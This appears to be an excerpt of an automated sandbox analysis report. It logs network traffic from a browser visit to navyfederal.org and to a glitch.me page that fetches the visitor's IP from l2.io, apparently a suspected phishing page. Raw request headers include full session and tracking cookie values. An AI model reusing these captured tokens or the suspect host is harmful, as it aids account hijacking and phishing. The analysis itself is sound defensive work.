Source: https://9749892.fls.doubleclick.net/activityi;dc_pre=CKeZtIevp4YDFZI5BgAd2RgBnQ;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html?	HTTP Parser: No favicon
Source: https://9749892.fls.doubleclick.net/activityi;dc_pre=CKCDt4evp4YDFSohBgAdDGcAEg;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html?	HTTP Parser: No favicon
Source: https://match.adsrvr.org/track/cmf/generic?ttd_pid=6szhitj	HTTP Parser: No favicon
Source: https://load77.exelator.com/pixel.gif	HTTP Parser: No favicon
Source: https://insight.adsrvr.org/track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&upid=4b42dtd&upv=1.1.0&paapi=1	HTTP Parser: No favicon
Source: https://track2.securedvisit.com/sync/4974_04438	HTTP Parser: No favicon
Source: https://match.adsrvr.org/track/cmf/generic?ttd_pid=semasio&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://match.adsrvr.org/track/cmf/generic?ttd_pid=azhe26g	HTTP Parser: No favicon

Source: https://www.navyfederal.org/	HTTP Parser: No <meta name="author".. found
Source: https://www.navyfederal.org/	HTTP Parser: No <meta name="author".. found
Source: https://www.navyfederal.org/	HTTP Parser: No <meta name="author".. found
Source: https://www.navyfederal.org/	HTTP Parser: No <meta name="author".. found

Source: https://www.navyfederal.org/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.navyfederal.org/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.navyfederal.org/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.navyfederal.org/	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.132.33.69:443 -> 192.168.2.6:50189 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 44MB

Source: unknown

Network traffic detected: IP country count 12

Source: global traffic	TCP traffic: 192.168.2.6:49912 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:49954 -> 1.1.1.1:53

Source: global traffic

DNS traffic detected: number of DNS queries: 140

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /RpLNy4f/ajax-loader.gif HTTP/1.1Host: i.ibb.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: http://delicious-decorous-army.glitch.me/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ip.js?var=userip HTTP/1.1Host: l2.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://delicious-decorous-army.glitch.me/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /RpLNy4f/ajax-loader.gif HTTP/1.1Host: i.ibb.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ip.js?var=userip HTTP/1.1Host: l2.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://delicious-decorous-army.glitch.me/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=5.5.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_verify=1&d_orgid=9BD537045330573C0A490D44%40AdobeOrg&d_nsid=0&ts=1716590746662 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.navyfederal.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id/rd?d_visid_ver=5.5.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_verify=1&d_orgid=9BD537045330573C0A490D44%40AdobeOrg&d_nsid=0&ts=1716590746662 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.navyfederal.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=15028710952493579300771312513576972253
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=5.5.0&d_fieldgroup=A&mcorgid=9BD537045330573C0A490D44%40AdobeOrg&mid=19471654271041955080390332448085131267&ts=1716590750179 HTTP/1.1Host: analytics.navyfederal.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.navyfederal.orgSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: bm_sz=C98C612E331275F90CF452AA828D169C~YAAQVLMUAgtBzI6PAQAA4gnIrBexPK2buvaIlAsjLxHVP3Ie+QbggMzzw9sXydGC7RuXQc57KDoKbKGMsAJw7f/COKM3KgIvCZ9AQuXHr8oI+HqT9VO2nDfY/067C9LIxx8PUvottpnmyP3OVPYfZ84yh+Yqaem1XupVyT0ELtQ5QhFUx/bHZMMeKwxZOr+QpV3rJYax/bCAkOR6im+Tq4Dtf84guDjrm9whq6VRhANhWPEYna/xmLmunZymSfPUtFqz+9b3gutKDkj1YFcc3Fd4MkXiWnoqeCkTOFvxevSVEQiA+nEP/jIsT6IlywPh6xE+k2I7s1PqKrj15k1MHTuMS0S/xQh0cn3UIIOezLDuDD440A86dMeks06UsbDiordvXXoMH8rI~3421766~3490627; at_check=true; _abck=21D1C4FBE0AED4A77782CD6A6455FF7F~0~YAAQVLMUArVCzI6PAQAApSXIrAtP/lgerEAD3d4syX3Lqa1oG7kKzOq6+AeiQbZ79CKhqHTbXIUZwKMpizhvYE46ly/SAaAXbsfKNi4V9Cplt1c1KnCrkjEi9201HRV9HymZEVif/VfI8o6RyJaHsZiN+deKnDjRYHEVV7Tg0ocuDOsqtlSnmNRecku4LI/T7cJ5Wo6LFAvnz3DjpH68xIMzMh+hsDozKB8KLeOWrIPEZUlhRGgrBZOf1T8RrJfaG9UEyADOwGoMC7hp9jdacCRU77FpfNZaTs1/P2H1Z+SAInkkBFIEG0dMqHv2NBzr105ZUfJfIZPeRNA4Hrf3XHFQpVuaAXQQ1yGxb1dW5OQhta11HuBlWXMPZleyYZAjH7Fx3Mpr2IDtpK9fAi+NndgzCSamP5UXhgXSH2M=~-1~\|\|-1\|\|~-1; mbox=session#acc9edf75c184210ac74e72cc44d0f35#1716592611; AMCVS_9BD537045330573C0A490D44%40AdobeOrg=1; AMCV_9BD537045330573C0A490D44%40AdobeOrg=179643557%7CMCIDTS%7C19868%7CMCMID%7C19471654271041955080390332448085131267%7CMCAAMLH-1717195550%7C6%7CMCAAMB-1717195550%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1716597950s%7CNONE%7CvVersion%7C5.5.0
Source: global traffic	HTTP traffic detected: GET /dest5.html?d_nsid=0 HTTP/1.1Host: nfcu.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=15028710952493579300771312513576972253
Source: global traffic	HTTP traffic detected: GET /id/rd?d_visid_ver=5.5.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_verify=1&d_orgid=9BD537045330573C0A490D44%40AdobeOrg&d_nsid=0&ts=1716590746662 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=15028710952493579300771312513576972253
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=5.5.0&d_fieldgroup=A&mcorgid=9BD537045330573C0A490D44%40AdobeOrg&mid=19471654271041955080390332448085131267&ts=1716590750179 HTTP/1.1Host: analytics.navyfederal.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: bm_sz=C98C612E331275F90CF452AA828D169C~YAAQVLMUAgtBzI6PAQAA4gnIrBexPK2buvaIlAsjLxHVP3Ie+QbggMzzw9sXydGC7RuXQc57KDoKbKGMsAJw7f/COKM3KgIvCZ9AQuXHr8oI+HqT9VO2nDfY/067C9LIxx8PUvottpnmyP3OVPYfZ84yh+Yqaem1XupVyT0ELtQ5QhFUx/bHZMMeKwxZOr+QpV3rJYax/bCAkOR6im+Tq4Dtf84guDjrm9whq6VRhANhWPEYna/xmLmunZymSfPUtFqz+9b3gutKDkj1YFcc3Fd4MkXiWnoqeCkTOFvxevSVEQiA+nEP/jIsT6IlywPh6xE+k2I7s1PqKrj15k1MHTuMS0S/xQh0cn3UIIOezLDuDD440A86dMeks06UsbDiordvXXoMH8rI~3421766~3490627; at_check=true; _abck=21D1C4FBE0AED4A77782CD6A6455FF7F~0~YAAQVLMUArVCzI6PAQAApSXIrAtP/lgerEAD3d4syX3Lqa1oG7kKzOq6+AeiQbZ79CKhqHTbXIUZwKMpizhvYE46ly/SAaAXbsfKNi4V9Cplt1c1KnCrkjEi9201HRV9HymZEVif/VfI8o6RyJaHsZiN+deKnDjRYHEVV7Tg0ocuDOsqtlSnmNRecku4LI/T7cJ5Wo6LFAvnz3DjpH68xIMzMh+hsDozKB8KLeOWrIPEZUlhRGgrBZOf1T8RrJfaG9UEyADOwGoMC7hp9jdacCRU77FpfNZaTs1/P2H1Z+SAInkkBFIEG0dMqHv2NBzr105ZUfJfIZPeRNA4Hrf3XHFQpVuaAXQQ1yGxb1dW5OQhta11HuBlWXMPZleyYZAjH7Fx3Mpr2IDtpK9fAi+NndgzCSamP5UXhgXSH2M=~-1~\|\|-1\|\|~-1; mbox=session#acc9edf75c184210ac74e72cc44d0f35#1716592611; AMCVS_9BD537045330573C0A490D44%40AdobeOrg=1; s_ecid=MCMID%7C19471654271041955080390332448085131267; AMCV_9BD537045330573C0A490D44%40AdobeOrg=179643557%7CMCIDTS%7C19868%7CMCMID%7C19471654271041955080390332448085131267%7CMCAAMLH-1717195550%7C6%7CMCAAMB-1717195550%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1716597950s%7CNONE%7CMCAID%7CNONE%7CvVersion%7C5.5.0
Source: global traffic	HTTP traffic detected: GET /rest/v1/delivery?client=navyfederalcu&sessionId=acc9edf75c184210ac74e72cc44d0f35&version=2.7.0 HTTP/1.1Host: navyfederalcu.tt.omtrdc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en_US/fbevents.js HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b/ss/nfcuprod/1/JS-2.23.0-LDQM/s31932123085610?AQB=1&ndh=1&pf=1&t=24%2F4%2F2024%2018%3A45%3A53%205%20240&sdid=407637231FEA6FC0-3B5A54C86C1B7AF4&mid=19471654271041955080390332448085131267&aamlh=6&ce=UTF-8&pageName=nfo%3Ahome&g=https%3A%2F%2Fwww.navyfederal.org%2F&c.&getVisitNum=4.2&.c&cc=USD&aamb=RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y&v1=nfo&c4=6%3A45PM&v4=6%3A45PM&c5=Friday&v5=Friday&c11=Build%20Date%3A%202024-05-23T17%3A41%3A33Z%20%7CJS%3A%202.23.0%20%7CECID%3A%205.5.0&c15=AEM&v15=AEM&v30=nfo%3Ahome&c45=D%3Dv45&v45=2024-05-24%2018%3A45%3A46&c46=19471654271041955080390332448085131267%7C1&v46=19471654271041955080390332448085131267%7C1&c51=D%3Dg&c59=D%3Dv59&v59=Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F117.0.0.0%20Safari%2F537.36&v62=Do%20Not%20Track%20Disabled&v63=GPC%20is%20Disabled&v64=false&c65=Navy%20Federal%20-%20NFO-AEM%20Websites%7Cproduction&v65=Navy%20Federal%20-%20NFO-AEM%20Websites%7Cproduction&v77=nfo%20home&s=1280x1024&c=24&j=1.6&v=N&k=Y&bw=1280&bh=907&mcorgid=9BD537045330573C0A490D44%40AdobeOrg&AQE=1 HTTP/1.1Host: analytics.navyfederal.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: bm_sz=C98C612E331275F90CF452AA828D169C~YAAQVLMUAgtBzI6PAQAA4gnIrBexPK2buvaIlAsjLxHVP3Ie+QbggMzzw9sXydGC7RuXQc57KDoKbKGMsAJw7f/COKM3KgIvCZ9AQuXHr8oI+HqT9VO2nDfY/067C9LIxx8PUvottpnmyP3OVPYfZ84yh+Yqaem1XupVyT0ELtQ5QhFUx/bHZMMeKwxZOr+QpV3rJYax/bCAkOR6im+Tq4Dtf84guDjrm9whq6VRhANhWPEYna/xmLmunZymSfPUtFqz+9b3gutKDkj1YFcc3Fd4MkXiWnoqeCkTOFvxevSVEQiA+nEP/jIsT6IlywPh6xE+k2I7s1PqKrj15k1MHTuMS0S/xQh0cn3UIIOezLDuDD440A86dMeks06UsbDiordvXXoMH8rI~3421766~3490627; at_check=true; _abck=21D1C4FBE0AED4A77782CD6A6455FF7F~0~YAAQVLMUArVCzI6PAQAApSXIrAtP/lgerEAD3d4syX3Lqa1oG7kKzOq6+AeiQbZ79CKhqHTbXIUZwKMpizhvYE46ly/SAaAXbsfKNi4V9Cplt1c1KnCrkjEi9201HRV9HymZEVif/VfI8o6RyJaHsZiN+deKnDjRYHEVV7Tg0ocuDOsqtlSnmNRecku4LI/T7cJ5Wo6LFAvnz3DjpH68xIMzMh+hsDozKB8KLeOWrIPEZUlhRGgrBZOf1T8RrJfaG9UEyADOwGoMC7hp9jdacCRU77FpfNZaTs1/P2H1Z+SAInkkBFIEG0dMqHv2NBzr105ZUfJfIZPeRNA4Hrf3XHFQpVuaAXQQ1yGxb1dW5OQhta11HuBlWXMPZleyYZAjH7Fx3Mpr2IDtpK9fAi+NndgzCSamP5UXhgXSH2M=~-1~\|\|-1\|\|~-1; AMCVS_9BD537045330573C0A490D44%40AdobeOrg=1; s_ecid=MCMID%7C19471654271041955080390332448085131267; AMCV_9BD537045330573C0A490D44%40AdobeOrg=179643557%7CMCIDTS%7C19868%7CMCMID%7C19471654271041955080390332448085131267%7CMCAAMLH-1717195550%7C6%7CMCAAMB-1717195550%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-171
Source: global traffic	HTTP traffic detected: GET /signals/config/125275241484882?v=2.9.156&r=stable&domain=www.navyfederal.org&hme=c3a545c63044e8e9102d4f32d84a1137594d024f28e801d670bc76dc5c075575&ex_m=67%2C112%2C99%2C103%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C158%2C161%2C172%2C168%2C169%2C171%2C28%2C94%2C50%2C73%2C170%2C153%2C156%2C165%2C166%2C173%2C121%2C14%2C48%2C178%2C177%2C123%2C17%2C33%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C100%2C102%2C37%2C101%2C29%2C25%2C154%2C157%2C130%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C39%2C34%2C80%2C2%2C35%2C60%2C40%2C98%2C43%2C75%2C65%2C104%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C105 HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=411&dpuuid=ZlEYowAAANH-YANe HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=15028710952493579300771312513576972253
Source: global traffic	HTTP traffic detected: GET /b/ss/nfcuprod/1/JS-2.23.0-LDQM/s31932123085610?AQB=1&ndh=1&pf=1&t=24%2F4%2F2024%2018%3A45%3A53%205%20240&sdid=407637231FEA6FC0-3B5A54C86C1B7AF4&mid=19471654271041955080390332448085131267&aamlh=6&ce=UTF-8&pageName=nfo%3Ahome&g=https%3A%2F%2Fwww.navyfederal.org%2F&c.&getVisitNum=4.2&.c&cc=USD&aamb=RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y&v1=nfo&c4=6%3A45PM&v4=6%3A45PM&c5=Friday&v5=Friday&c11=Build%20Date%3A%202024-05-23T17%3A41%3A33Z%20%7CJS%3A%202.23.0%20%7CECID%3A%205.5.0&c15=AEM&v15=AEM&v30=nfo%3Ahome&c45=D%3Dv45&v45=2024-05-24%2018%3A45%3A46&c46=19471654271041955080390332448085131267%7C1&v46=19471654271041955080390332448085131267%7C1&c51=D%3Dg&c59=D%3Dv59&v59=Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F117.0.0.0%20Safari%2F537.36&v62=Do%20Not%20Track%20Disabled&v63=GPC%20is%20Disabled&v64=false&c65=Navy%20Federal%20-%20NFO-AEM%20Websites%7Cproduction&v65=Navy%20Federal%20-%20NFO-AEM%20Websites%7Cproduction&v77=nfo%20home&s=1280x1024&c=24&j=1.6&v=N&k=Y&bw=1280&bh=907&mcorgid=9BD537045330573C0A490D44%40AdobeOrg&AQE=1 HTTP/1.1Host: analytics.navyfederal.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 